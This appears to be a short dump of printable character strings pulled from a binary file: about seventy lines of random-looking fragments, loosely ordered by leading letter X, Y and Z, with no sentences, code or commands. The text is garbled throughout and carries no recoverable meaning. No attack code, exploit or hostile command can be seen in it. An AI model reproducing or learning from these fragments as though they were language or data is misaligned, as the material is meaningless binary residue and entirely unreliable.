XPTPSW
-,X#r!M
xsxsss
%xtLIS@K
xtrrrrplhdrrrr`\XTrrrrPLHDrrrr@<84rrrr0,($rrrr 
xtTrmR
<"x]u!
X@:u~@
xvA/+)
XX=<em
Xyhc[yHh
X-	YQ2Q1
xZ^Cc?Nv
{XzdTi
xzg*mW
^xz%%T2jB8
xZUl1&Q
XzxzU0?0
y0()(2)
)y@0g!
"y_0kup
y'1;EO
y3vXNt
y4JVL@LKLN=A:
y'.5<=
y5?IS]
`->)y7
)\Y+/7C
'y'8RX
yB@:dx|
y:cL!L
YC%	Ox]
yCPR;,q
|\y=~D
(yEg(c
yEnList
yF\}CH~
YFYVUJ
y*G)kj
\YGRXp
yGu4<6
yH	ma_[
>yh p6
 	Yi^d
y	Ji+{)
Y)?Jx'
$(yL;}%
)YLE)&''-
yLT\dl
}y^M?\;)
y"\qDlsD
YQ<qpy
;;YSU<H
@yt4GT@@
YT"	GX
]yxq$1
yy-A9E
+-;]Yz
+Y&Z*.js}H
@;,$}z
z1DXx#C0
z3oZ7F
z6	tu2
Z$bD$S\
ZbJ$Wj 
ze~fa][
 /ZeX}
Z-g\\|~*
<zH@zH
;Zi`" 7
ZiU\EO
zJ	kfI
Z!lAL2
	z-n[G
ZSw Y(
+Z`u86
<[ZV6.5l
zv_.P5~pa
zW6h/P
ZwW=UT(
@z;x"`
zy.XWj
ZZv#hy7
ZZZH*-